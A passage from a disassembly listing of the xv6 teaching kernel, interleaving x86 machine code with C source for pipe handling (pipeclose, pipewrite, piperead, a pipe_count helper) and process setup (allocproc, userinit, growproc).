80103fd4: 8b 45 0c mov 0xc(%ebp),%eax
80103fd7: 8b 00 mov (%eax),%eax
80103fd9: c6 40 09 01 movb $0x1,0x9(%eax)
(*f1)->pipe = p;
80103fdd: 8b 45 0c mov 0xc(%ebp),%eax
80103fe0: 8b 00 mov (%eax),%eax
80103fe2: 8b 55 f4 mov -0xc(%ebp),%edx
80103fe5: 89 50 0c mov %edx,0xc(%eax)
return 0;
80103fe8: b8 00 00 00 00 mov $0x0,%eax
80103fed: eb 42 jmp 80104031 <pipealloc+0x141>
//PAGEBREAK: 20
bad:
if(p)
80103fef: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80103ff3: 74 0b je 80104000 <pipealloc+0x110>
kfree((char*)p);
80103ff5: 8b 45 f4 mov -0xc(%ebp),%eax
80103ff8: 89 04 24 mov %eax,(%esp)
80103ffb: e8 cd ea ff ff call 80102acd <kfree>
if(*f0)
80104000: 8b 45 08 mov 0x8(%ebp),%eax
80104003: 8b 00 mov (%eax),%eax
80104005: 85 c0 test %eax,%eax
80104007: 74 0d je 80104016 <pipealloc+0x126>
fileclose(*f0);
80104009: 8b 45 08 mov 0x8(%ebp),%eax
8010400c: 8b 00 mov (%eax),%eax
8010400e: 89 04 24 mov %eax,(%esp)
80104011: e8 ee cf ff ff call 80101004 <fileclose>
if(*f1)
80104016: 8b 45 0c mov 0xc(%ebp),%eax
80104019: 8b 00 mov (%eax),%eax
8010401b: 85 c0 test %eax,%eax
8010401d: 74 0d je 8010402c <pipealloc+0x13c>
fileclose(*f1);
8010401f: 8b 45 0c mov 0xc(%ebp),%eax
80104022: 8b 00 mov (%eax),%eax
80104024: 89 04 24 mov %eax,(%esp)
80104027: e8 d8 cf ff ff call 80101004 <fileclose>
return -1;
8010402c: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104031: c9 leave
80104032: c3 ret
80104033 <pipeclose>:
void
pipeclose(struct pipe *p, int writable)
{
80104033: 55 push %ebp
80104034: 89 e5 mov %esp,%ebp
80104036: 83 ec 18 sub $0x18,%esp
acquire(&p->lock);
80104039: 8b 45 08 mov 0x8(%ebp),%eax
8010403c: 89 04 24 mov %eax,(%esp)
8010403f: e8 e3 0e 00 00 call 80104f27 <acquire>
if(writable){
80104044: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
80104048: 74 1f je 80104069 <pipeclose+0x36>
p->writeopen = 0;
8010404a: 8b 45 08 mov 0x8(%ebp),%eax
8010404d: c7 80 40 02 00 00 00 movl $0x0,0x240(%eax)
80104054: 00 00 00
wakeup(&p->nread);
80104057: 8b 45 08 mov 0x8(%ebp),%eax
8010405a: 05 34 02 00 00 add $0x234,%eax
8010405f: 89 04 24 mov %eax,(%esp)
80104062: e8 c8 0b 00 00 call 80104c2f <wakeup>
80104067: eb 1d jmp 80104086 <pipeclose+0x53>
} else {
p->readopen = 0;
80104069: 8b 45 08 mov 0x8(%ebp),%eax
8010406c: c7 80 3c 02 00 00 00 movl $0x0,0x23c(%eax)
80104073: 00 00 00
wakeup(&p->nwrite);
80104076: 8b 45 08 mov 0x8(%ebp),%eax
80104079: 05 38 02 00 00 add $0x238,%eax
8010407e: 89 04 24 mov %eax,(%esp)
80104081: e8 a9 0b 00 00 call 80104c2f <wakeup>
}
if(p->readopen == 0 && p->writeopen == 0){
80104086: 8b 45 08 mov 0x8(%ebp),%eax
80104089: 8b 80 3c 02 00 00 mov 0x23c(%eax),%eax
8010408f: 85 c0 test %eax,%eax
80104091: 75 25 jne 801040b8 <pipeclose+0x85>
80104093: 8b 45 08 mov 0x8(%ebp),%eax
80104096: 8b 80 40 02 00 00 mov 0x240(%eax),%eax
8010409c: 85 c0 test %eax,%eax
8010409e: 75 18 jne 801040b8 <pipeclose+0x85>
release(&p->lock);
801040a0: 8b 45 08 mov 0x8(%ebp),%eax
801040a3: 89 04 24 mov %eax,(%esp)
801040a6: e8 e3 0e 00 00 call 80104f8e <release>
kfree((char*)p);
801040ab: 8b 45 08 mov 0x8(%ebp),%eax
801040ae: 89 04 24 mov %eax,(%esp)
801040b1: e8 17 ea ff ff call 80102acd <kfree>
801040b6: eb 0b jmp 801040c3 <pipeclose+0x90>
} else
release(&p->lock);
801040b8: 8b 45 08 mov 0x8(%ebp),%eax
801040bb: 89 04 24 mov %eax,(%esp)
801040be: e8 cb 0e 00 00 call 80104f8e <release>
}
801040c3: c9 leave
801040c4: c3 ret
801040c5 <pipewrite>:
//PAGEBREAK: 40
int
pipewrite(struct pipe *p, char *addr, int n)
{
801040c5: 55 push %ebp
801040c6: 89 e5 mov %esp,%ebp
801040c8: 83 ec 28 sub $0x28,%esp
int i;
acquire(&p->lock);
801040cb: 8b 45 08 mov 0x8(%ebp),%eax
801040ce: 89 04 24 mov %eax,(%esp)
801040d1: e8 51 0e 00 00 call 80104f27 <acquire>
for(i = 0; i < n; i++){
801040d6: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801040dd: e9 a4 00 00 00 jmp 80104186 <pipewrite+0xc1>
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
801040e2: eb 57 jmp 8010413b <pipewrite+0x76>
if(p->readopen == 0 || proc->killed){
801040e4: 8b 45 08 mov 0x8(%ebp),%eax
801040e7: 8b 80 3c 02 00 00 mov 0x23c(%eax),%eax
801040ed: 85 c0 test %eax,%eax
801040ef: 74 0d je 801040fe <pipewrite+0x39>
801040f1: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801040f7: 8b 40 24 mov 0x24(%eax),%eax
801040fa: 85 c0 test %eax,%eax
801040fc: 74 15 je 80104113 <pipewrite+0x4e>
release(&p->lock);
801040fe: 8b 45 08 mov 0x8(%ebp),%eax
80104101: 89 04 24 mov %eax,(%esp)
80104104: e8 85 0e 00 00 call 80104f8e <release>
return -1;
80104109: b8 ff ff ff ff mov $0xffffffff,%eax
8010410e: e9 9d 00 00 00 jmp 801041b0 <pipewrite+0xeb>
}
wakeup(&p->nread);
80104113: 8b 45 08 mov 0x8(%ebp),%eax
80104116: 05 34 02 00 00 add $0x234,%eax
8010411b: 89 04 24 mov %eax,(%esp)
8010411e: e8 0c 0b 00 00 call 80104c2f <wakeup>
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
80104123: 8b 45 08 mov 0x8(%ebp),%eax
80104126: 8b 55 08 mov 0x8(%ebp),%edx
80104129: 81 c2 38 02 00 00 add $0x238,%edx
8010412f: 89 44 24 04 mov %eax,0x4(%esp)
80104133: 89 14 24 mov %edx,(%esp)
80104136: e8 1b 0a 00 00 call 80104b56 <sleep>
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
8010413b: 8b 45 08 mov 0x8(%ebp),%eax
8010413e: 8b 90 38 02 00 00 mov 0x238(%eax),%edx
80104144: 8b 45 08 mov 0x8(%ebp),%eax
80104147: 8b 80 34 02 00 00 mov 0x234(%eax),%eax
8010414d: 05 00 02 00 00 add $0x200,%eax
80104152: 39 c2 cmp %eax,%edx
80104154: 74 8e je 801040e4 <pipewrite+0x1f>
return -1;
}
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
80104156: 8b 45 08 mov 0x8(%ebp),%eax
80104159: 8b 80 38 02 00 00 mov 0x238(%eax),%eax
8010415f: 8d 48 01 lea 0x1(%eax),%ecx
80104162: 8b 55 08 mov 0x8(%ebp),%edx
80104165: 89 8a 38 02 00 00 mov %ecx,0x238(%edx)
8010416b: 25 ff 01 00 00 and $0x1ff,%eax
80104170: 89 c1 mov %eax,%ecx
80104172: 8b 55 f4 mov -0xc(%ebp),%edx
80104175: 8b 45 0c mov 0xc(%ebp),%eax
80104178: 01 d0 add %edx,%eax
8010417a: 8a 10 mov (%eax),%dl
8010417c: 8b 45 08 mov 0x8(%ebp),%eax
8010417f: 88 54 08 34 mov %dl,0x34(%eax,%ecx,1)
pipewrite(struct pipe *p, char *addr, int n)
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
80104183: ff 45 f4 incl -0xc(%ebp)
80104186: 8b 45 f4 mov -0xc(%ebp),%eax
80104189: 3b 45 10 cmp 0x10(%ebp),%eax
8010418c: 0f 8c 50 ff ff ff jl 801040e2 <pipewrite+0x1d>
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
}
wakeup(&p->nread); //DOC: pipewrite-wakeup1
80104192: 8b 45 08 mov 0x8(%ebp),%eax
80104195: 05 34 02 00 00 add $0x234,%eax
8010419a: 89 04 24 mov %eax,(%esp)
8010419d: e8 8d 0a 00 00 call 80104c2f <wakeup>
release(&p->lock);
801041a2: 8b 45 08 mov 0x8(%ebp),%eax
801041a5: 89 04 24 mov %eax,(%esp)
801041a8: e8 e1 0d 00 00 call 80104f8e <release>
return n;
801041ad: 8b 45 10 mov 0x10(%ebp),%eax
}
801041b0: c9 leave
801041b1: c3 ret
801041b2 <piperead>:
int
piperead(struct pipe *p, char *addr, int n)
{
801041b2: 55 push %ebp
801041b3: 89 e5 mov %esp,%ebp
801041b5: 53 push %ebx
801041b6: 83 ec 24 sub $0x24,%esp
int i;
acquire(&p->lock);
801041b9: 8b 45 08 mov 0x8(%ebp),%eax
801041bc: 89 04 24 mov %eax,(%esp)
801041bf: e8 63 0d 00 00 call 80104f27 <acquire>
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
801041c4: eb 3a jmp 80104200 <piperead+0x4e>
if(proc->killed){
801041c6: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801041cc: 8b 40 24 mov 0x24(%eax),%eax
801041cf: 85 c0 test %eax,%eax
801041d1: 74 15 je 801041e8 <piperead+0x36>
release(&p->lock);
801041d3: 8b 45 08 mov 0x8(%ebp),%eax
801041d6: 89 04 24 mov %eax,(%esp)
801041d9: e8 b0 0d 00 00 call 80104f8e <release>
return -1;
801041de: b8 ff ff ff ff mov $0xffffffff,%eax
801041e3: e9 b3 00 00 00 jmp 8010429b <piperead+0xe9>
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
801041e8: 8b 45 08 mov 0x8(%ebp),%eax
801041eb: 8b 55 08 mov 0x8(%ebp),%edx
801041ee: 81 c2 34 02 00 00 add $0x234,%edx
801041f4: 89 44 24 04 mov %eax,0x4(%esp)
801041f8: 89 14 24 mov %edx,(%esp)
801041fb: e8 56 09 00 00 call 80104b56 <sleep>
piperead(struct pipe *p, char *addr, int n)
{
int i;
acquire(&p->lock);
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
80104200: 8b 45 08 mov 0x8(%ebp),%eax
80104203: 8b 90 34 02 00 00 mov 0x234(%eax),%edx
80104209: 8b 45 08 mov 0x8(%ebp),%eax
8010420c: 8b 80 38 02 00 00 mov 0x238(%eax),%eax
80104212: 39 c2 cmp %eax,%edx
80104214: 75 0d jne 80104223 <piperead+0x71>
80104216: 8b 45 08 mov 0x8(%ebp),%eax
80104219: 8b 80 40 02 00 00 mov 0x240(%eax),%eax
8010421f: 85 c0 test %eax,%eax
80104221: 75 a3 jne 801041c6 <piperead+0x14>
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
80104223: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
8010422a: eb 49 jmp 80104275 <piperead+0xc3>
if(p->nread == p->nwrite)
8010422c: 8b 45 08 mov 0x8(%ebp),%eax
8010422f: 8b 90 34 02 00 00 mov 0x234(%eax),%edx
80104235: 8b 45 08 mov 0x8(%ebp),%eax
80104238: 8b 80 38 02 00 00 mov 0x238(%eax),%eax
8010423e: 39 c2 cmp %eax,%edx
80104240: 75 02 jne 80104244 <piperead+0x92>
break;
80104242: eb 39 jmp 8010427d <piperead+0xcb>
addr[i] = p->data[p->nread++ % PIPESIZE];
80104244: 8b 55 f4 mov -0xc(%ebp),%edx
80104247: 8b 45 0c mov 0xc(%ebp),%eax
8010424a: 8d 1c 02 lea (%edx,%eax,1),%ebx
8010424d: 8b 45 08 mov 0x8(%ebp),%eax
80104250: 8b 80 34 02 00 00 mov 0x234(%eax),%eax
80104256: 8d 48 01 lea 0x1(%eax),%ecx
80104259: 8b 55 08 mov 0x8(%ebp),%edx
8010425c: 89 8a 34 02 00 00 mov %ecx,0x234(%edx)
80104262: 25 ff 01 00 00 and $0x1ff,%eax
80104267: 89 c2 mov %eax,%edx
80104269: 8b 45 08 mov 0x8(%ebp),%eax
8010426c: 8a 44 10 34 mov 0x34(%eax,%edx,1),%al
80104270: 88 03 mov %al,(%ebx)
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
80104272: ff 45 f4 incl -0xc(%ebp)
80104275: 8b 45 f4 mov -0xc(%ebp),%eax
80104278: 3b 45 10 cmp 0x10(%ebp),%eax
8010427b: 7c af jl 8010422c <piperead+0x7a>
if(p->nread == p->nwrite)
break;
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
8010427d: 8b 45 08 mov 0x8(%ebp),%eax
80104280: 05 38 02 00 00 add $0x238,%eax
80104285: 89 04 24 mov %eax,(%esp)
80104288: e8 a2 09 00 00 call 80104c2f <wakeup>
release(&p->lock);
8010428d: 8b 45 08 mov 0x8(%ebp),%eax
80104290: 89 04 24 mov %eax,(%esp)
80104293: e8 f6 0c 00 00 call 80104f8e <release>
return i;
80104298: 8b 45 f4 mov -0xc(%ebp),%eax
}
8010429b: 83 c4 24 add $0x24,%esp
8010429e: 5b pop %ebx
8010429f: 5d pop %ebp
801042a0: c3 ret
801042a1 <pipe_count>:
int
pipe_count(struct pipe *p)
{
801042a1: 55 push %ebp
801042a2: 89 e5 mov %esp,%ebp
801042a4: 83 ec 28 sub $0x28,%esp
int pipe_bytes;
acquire(&p->lock);
801042a7: 8b 45 08 mov 0x8(%ebp),%eax
801042aa: 89 04 24 mov %eax,(%esp)
801042ad: e8 75 0c 00 00 call 80104f27 <acquire>
int read_bytes = (int)p->nread;
801042b2: 8b 45 08 mov 0x8(%ebp),%eax
801042b5: 8b 80 34 02 00 00 mov 0x234(%eax),%eax
801042bb: 89 45 f4 mov %eax,-0xc(%ebp)
int write_bytes = (int)p->nwrite;
801042be: 8b 45 08 mov 0x8(%ebp),%eax
801042c1: 8b 80 38 02 00 00 mov 0x238(%eax),%eax
801042c7: 89 45 f0 mov %eax,-0x10(%ebp)
pipe_bytes = read_bytes-write_bytes;
801042ca: 8b 45 f0 mov -0x10(%ebp),%eax
801042cd: 8b 55 f4 mov -0xc(%ebp),%edx
801042d0: 29 c2 sub %eax,%edx
801042d2: 89 d0 mov %edx,%eax
801042d4: 89 45 ec mov %eax,-0x14(%ebp)
release(&p->lock);
801042d7: 8b 45 08 mov 0x8(%ebp),%eax
801042da: 89 04 24 mov %eax,(%esp)
801042dd: e8 ac 0c 00 00 call 80104f8e <release>
return pipe_bytes;
801042e2: 8b 45 ec mov -0x14(%ebp),%eax
}
801042e5: c9 leave
801042e6: c3 ret
...
801042e8 <readeflags>:
asm volatile("ltr %0" : : "r" (sel));
}
static inline uint
readeflags(void)
{
801042e8: 55 push %ebp
801042e9: 89 e5 mov %esp,%ebp
801042eb: 83 ec 10 sub $0x10,%esp
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
801042ee: 9c pushf
801042ef: 58 pop %eax
801042f0: 89 45 fc mov %eax,-0x4(%ebp)
return eflags;
801042f3: 8b 45 fc mov -0x4(%ebp),%eax
}
801042f6: c9 leave
801042f7: c3 ret
801042f8 <sti>:
asm volatile("cli");
}
static inline void
sti(void)
{
801042f8: 55 push %ebp
801042f9: 89 e5 mov %esp,%ebp
asm volatile("sti");
801042fb: fb sti
}
801042fc: 5d pop %ebp
801042fd: c3 ret
801042fe <pinit>:
static void wakeup1(void *chan);
void
pinit(void)
{
801042fe: 55 push %ebp
801042ff: 89 e5 mov %esp,%ebp
80104301: 83 ec 18 sub $0x18,%esp
initlock(&ptable.lock, "ptable");
80104304: c7 44 24 04 71 88 10 movl $0x80108871,0x4(%esp)
8010430b: 80
8010430c: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104313: e8 ee 0b 00 00 call 80104f06 <initlock>
}
80104318: c9 leave
80104319: c3 ret
8010431a <allocproc>:
// If found, change state to EMBRYO and initialize
// state required to run in the kernel.
// Otherwise return 0.
static struct proc*
allocproc(void)
{
8010431a: 55 push %ebp
8010431b: 89 e5 mov %esp,%ebp
8010431d: 83 ec 28 sub $0x28,%esp
struct proc *p;
char *sp;
acquire(&ptable.lock);
80104320: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104327: e8 fb 0b 00 00 call 80104f27 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
8010432c: c7 45 f4 74 3e 11 80 movl $0x80113e74,-0xc(%ebp)
80104333: eb 50 jmp 80104385 <allocproc+0x6b>
if(p->state == UNUSED)
80104335: 8b 45 f4 mov -0xc(%ebp),%eax
80104338: 8b 40 0c mov 0xc(%eax),%eax
8010433b: 85 c0 test %eax,%eax
8010433d: 75 42 jne 80104381 <allocproc+0x67>
goto found;
8010433f: 90 nop
release(&ptable.lock);
return 0;
found:
p->state = EMBRYO;
80104340: 8b 45 f4 mov -0xc(%ebp),%eax
80104343: c7 40 0c 01 00 00 00 movl $0x1,0xc(%eax)
p->pid = nextpid++;
8010434a: a1 04 b0 10 80 mov 0x8010b004,%eax
8010434f: 8d 50 01 lea 0x1(%eax),%edx
80104352: 89 15 04 b0 10 80 mov %edx,0x8010b004
80104358: 8b 55 f4 mov -0xc(%ebp),%edx
8010435b: 89 42 10 mov %eax,0x10(%edx)
release(&ptable.lock);
8010435e: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104365: e8 24 0c 00 00 call 80104f8e <release>
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
8010436a: e8 f4 e7 ff ff call 80102b63 <kalloc>
8010436f: 8b 55 f4 mov -0xc(%ebp),%edx
80104372: 89 42 08 mov %eax,0x8(%edx)
80104375: 8b 45 f4 mov -0xc(%ebp),%eax
80104378: 8b 40 08 mov 0x8(%eax),%eax
8010437b: 85 c0 test %eax,%eax
8010437d: 75 33 jne 801043b2 <allocproc+0x98>
8010437f: eb 20 jmp 801043a1 <allocproc+0x87>
struct proc *p;
char *sp;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80104381: 83 45 f4 7c addl $0x7c,-0xc(%ebp)
80104385: 81 7d f4 74 5d 11 80 cmpl $0x80115d74,-0xc(%ebp)
8010438c: 72 a7 jb 80104335 <allocproc+0x1b>
if(p->state == UNUSED)
goto found;
release(&ptable.lock);
8010438e: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104395: e8 f4 0b 00 00 call 80104f8e <release>
return 0;
8010439a: b8 00 00 00 00 mov $0x0,%eax
8010439f: eb 76 jmp 80104417 <allocproc+0xfd>
release(&ptable.lock);
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
p->state = UNUSED;
801043a1: 8b 45 f4 mov -0xc(%ebp),%eax
801043a4: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
return 0;
801043ab: b8 00 00 00 00 mov $0x0,%eax
801043b0: eb 65 jmp 80104417 <allocproc+0xfd>
}
sp = p->kstack + KSTACKSIZE;
801043b2: 8b 45 f4 mov -0xc(%ebp),%eax
801043b5: 8b 40 08 mov 0x8(%eax),%eax
801043b8: 05 00 10 00 00 add $0x1000,%eax
801043bd: 89 45 f0 mov %eax,-0x10(%ebp)
// Leave room for trap frame.
sp -= sizeof *p->tf;
801043c0: 83 6d f0 4c subl $0x4c,-0x10(%ebp)
p->tf = (struct trapframe*)sp;
801043c4: 8b 45 f4 mov -0xc(%ebp),%eax
801043c7: 8b 55 f0 mov -0x10(%ebp),%edx
801043ca: 89 50 18 mov %edx,0x18(%eax)
// Set up new context to start executing at forkret,
// which returns to trapret.
sp -= 4;
801043cd: 83 6d f0 04 subl $0x4,-0x10(%ebp)
*(uint*)sp = (uint)trapret;
801043d1: ba 68 66 10 80 mov $0x80106668,%edx
801043d6: 8b 45 f0 mov -0x10(%ebp),%eax
801043d9: 89 10 mov %edx,(%eax)
sp -= sizeof *p->context;
801043db: 83 6d f0 14 subl $0x14,-0x10(%ebp)
p->context = (struct context*)sp;
801043df: 8b 45 f4 mov -0xc(%ebp),%eax
801043e2: 8b 55 f0 mov -0x10(%ebp),%edx
801043e5: 89 50 1c mov %edx,0x1c(%eax)
memset(p->context, 0, sizeof *p->context);
801043e8: 8b 45 f4 mov -0xc(%ebp),%eax
801043eb: 8b 40 1c mov 0x1c(%eax),%eax
801043ee: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp)
801043f5: 00
801043f6: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801043fd: 00
801043fe: 89 04 24 mov %eax,(%esp)
80104401: e8 84 0d 00 00 call 8010518a <memset>
p->context->eip = (uint)forkret;
80104406: 8b 45 f4 mov -0xc(%ebp),%eax
80104409: 8b 40 1c mov 0x1c(%eax),%eax
8010440c: ba 17 4b 10 80 mov $0x80104b17,%edx
80104411: 89 50 10 mov %edx,0x10(%eax)
return p;
80104414: 8b 45 f4 mov -0xc(%ebp),%eax
}
80104417: c9 leave
80104418: c3 ret
80104419 <userinit>:
//PAGEBREAK: 32
// Set up first user process.
void
userinit(void)
{
80104419: 55 push %ebp
8010441a: 89 e5 mov %esp,%ebp
8010441c: 83 ec 28 sub $0x28,%esp
struct proc *p;
extern char _binary_initcode_start[], _binary_initcode_size[];
p = allocproc();
8010441f: e8 f6 fe ff ff call 8010431a <allocproc>
80104424: 89 45 f4 mov %eax,-0xc(%ebp)
initproc = p;
80104427: 8b 45 f4 mov -0xc(%ebp),%eax
8010442a: a3 64 b6 10 80 mov %eax,0x8010b664
if((p->pgdir = setupkvm()) == 0)
8010442f: e8 ac 38 00 00 call 80107ce0 <setupkvm>
80104434: 8b 55 f4 mov -0xc(%ebp),%edx
80104437: 89 42 04 mov %eax,0x4(%edx)
8010443a: 8b 45 f4 mov -0xc(%ebp),%eax
8010443d: 8b 40 04 mov 0x4(%eax),%eax
80104440: 85 c0 test %eax,%eax
80104442: 75 0c jne 80104450 <userinit+0x37>
panic("userinit: out of memory?");
80104444: c7 04 24 78 88 10 80 movl $0x80108878,(%esp)
8010444b: e8 04 c1 ff ff call 80100554 <panic>
inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size);
80104450: ba 2c 00 00 00 mov $0x2c,%edx
80104455: 8b 45 f4 mov -0xc(%ebp),%eax
80104458: 8b 40 04 mov 0x4(%eax),%eax
8010445b: 89 54 24 08 mov %edx,0x8(%esp)
8010445f: c7 44 24 04 00 b5 10 movl $0x8010b500,0x4(%esp)
80104466: 80
80104467: 89 04 24 mov %eax,(%esp)
8010446a: e8 a1 3a 00 00 call 80107f10 <inituvm>
p->sz = PGSIZE;
8010446f: 8b 45 f4 mov -0xc(%ebp),%eax
80104472: c7 00 00 10 00 00 movl $0x1000,(%eax)
memset(p->tf, 0, sizeof(*p->tf));
80104478: 8b 45 f4 mov -0xc(%ebp),%eax
8010447b: 8b 40 18 mov 0x18(%eax),%eax
8010447e: c7 44 24 08 4c 00 00 movl $0x4c,0x8(%esp)
80104485: 00
80104486: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010448d: 00
8010448e: 89 04 24 mov %eax,(%esp)
80104491: e8 f4 0c 00 00 call 8010518a <memset>
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
80104496: 8b 45 f4 mov -0xc(%ebp),%eax
80104499: 8b 40 18 mov 0x18(%eax),%eax
8010449c: 66 c7 40 3c 23 00 movw $0x23,0x3c(%eax)
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
801044a2: 8b 45 f4 mov -0xc(%ebp),%eax
801044a5: 8b 40 18 mov 0x18(%eax),%eax
801044a8: 66 c7 40 2c 2b 00 movw $0x2b,0x2c(%eax)
p->tf->es = p->tf->ds;
801044ae: 8b 45 f4 mov -0xc(%ebp),%eax
801044b1: 8b 50 18 mov 0x18(%eax),%edx
801044b4: 8b 45 f4 mov -0xc(%ebp),%eax
801044b7: 8b 40 18 mov 0x18(%eax),%eax
801044ba: 8b 40 2c mov 0x2c(%eax),%eax
801044bd: 66 89 42 28 mov %ax,0x28(%edx)
p->tf->ss = p->tf->ds;
801044c1: 8b 45 f4 mov -0xc(%ebp),%eax
801044c4: 8b 50 18 mov 0x18(%eax),%edx
801044c7: 8b 45 f4 mov -0xc(%ebp),%eax
801044ca: 8b 40 18 mov 0x18(%eax),%eax
801044cd: 8b 40 2c mov 0x2c(%eax),%eax
801044d0: 66 89 42 48 mov %ax,0x48(%edx)
p->tf->eflags = FL_IF;
801044d4: 8b 45 f4 mov -0xc(%ebp),%eax
801044d7: 8b 40 18 mov 0x18(%eax),%eax
801044da: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax)
p->tf->esp = PGSIZE;
801044e1: 8b 45 f4 mov -0xc(%ebp),%eax
801044e4: 8b 40 18 mov 0x18(%eax),%eax
801044e7: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax)
p->tf->eip = 0; // beginning of initcode.S
801044ee: 8b 45 f4 mov -0xc(%ebp),%eax
801044f1: 8b 40 18 mov 0x18(%eax),%eax
801044f4: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax)
safestrcpy(p->name, "initcode", sizeof(p->name));
801044fb: 8b 45 f4 mov -0xc(%ebp),%eax
801044fe: 83 c0 6c add $0x6c,%eax
80104501: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80104508: 00
80104509: c7 44 24 04 91 88 10 movl $0x80108891,0x4(%esp)
80104510: 80
80104511: 89 04 24 mov %eax,(%esp)
80104514: e8 7d 0e 00 00 call 80105396 <safestrcpy>
p->cwd = namei("/");
80104519: c7 04 24 9a 88 10 80 movl $0x8010889a,(%esp)
80104520: e8 0c df ff ff call 80102431 <namei>
80104525: 8b 55 f4 mov -0xc(%ebp),%edx
80104528: 89 42 68 mov %eax,0x68(%edx)
// this assignment to p->state lets other cores
// run this process. the acquire forces the above
// writes to be visible, and the lock is also needed
// because the assignment might not be atomic.
acquire(&ptable.lock);
8010452b: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104532: e8 f0 09 00 00 call 80104f27 <acquire>
p->state = RUNNABLE;
80104537: 8b 45 f4 mov -0xc(%ebp),%eax
8010453a: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
release(&ptable.lock);
80104541: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104548: e8 41 0a 00 00 call 80104f8e <release>
}
8010454d: c9 leave
8010454e: c3 ret
8010454f <growproc>:
// Grow current process's memory by n bytes.
// Return 0 on success, -1 on failure.
int
growproc(int n)
{
8010454f: 55 push %ebp
80104550: 89 e5 mov %esp,%ebp
80104552: 83 ec 28 sub $0x28,%esp
uint sz;
sz = proc->sz;
80104555: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010455b: 8b 00 mov (%eax),%eax
8010455d: 89 45 f4 mov %eax,-0xc(%ebp)
if(n > 0){
80104560: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
80104564: 7e 34 jle 8010459a <growproc+0x4b>
if((sz = allocuvm(proc->pgdir, sz, sz + n)) == 0)
80104566: 8b 55 08 mov 0x8(%ebp),%edx
80104569: 8b 45 f4 mov -0xc(%ebp),%eax
8010456c: 01 c2 add %eax,%edx
8010456e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104574: 8b 40 04 mov 0x4(%eax),%eax
80104577: 89 54 24 08 mov %edx,0x8(%esp)
8010457b: 8b 55 f4 mov -0xc(%ebp),%edx
8010457e: 89 54 24 04 mov %edx,0x4(%esp)
80104582: 89 04 24 mov %eax,(%esp)
80104585: e8 f1 3a 00 00 call 8010807b <allocuvm>
8010458a: 89 45 f4 mov %eax,-0xc(%ebp)
8010458d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80104591: 75 41 jne 801045d4 <growproc+0x85>
return -1;
80104593: b8 ff ff ff ff mov $0xffffffff,%eax
80104598: eb 58 jmp 801045f2 <growproc+0xa3>
} else if(n < 0){
8010459a: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
8010459e: 79 34 jns 801045d4 <growproc+0x85>
if((sz = deallocuvm(proc->pgdir, sz, sz + n)) == 0)
801045a0: 8b 55 08 mov 0x8(%ebp),%edx
801045a3: 8b 45 f4 mov -0xc(%ebp),%eax
801045a6: 01 c2 add %eax,%edx
801045a8: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801045ae: 8b 40 04 mov 0x4(%eax),%eax
801045b1: 89 54 24 08 mov %edx,0x8(%esp)
801045b5: 8b 55 f4 mov -0xc(%ebp),%edx
801045b8: 89 54 24 04 mov %edx,0x4(%esp)
801045bc: 89 04 24 mov %eax,(%esp)
801045bf: e8 cd 3b 00 00 call 80108191 <deallocuvm>
801045c4: 89 45 f4 mov %eax,-0xc(%ebp)
801045c7: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801045cb: 75 07 jne 801045d4 <growproc+0x85>
return -1;
801045cd: b8 ff ff ff ff mov $0xffffffff,%eax
801045d2: eb 1e jmp 801045f2 <growproc+0xa3>
}
proc->sz = sz;
801045d4: 65 a1 04 00 00 00 mov %gs:0x4,%eax
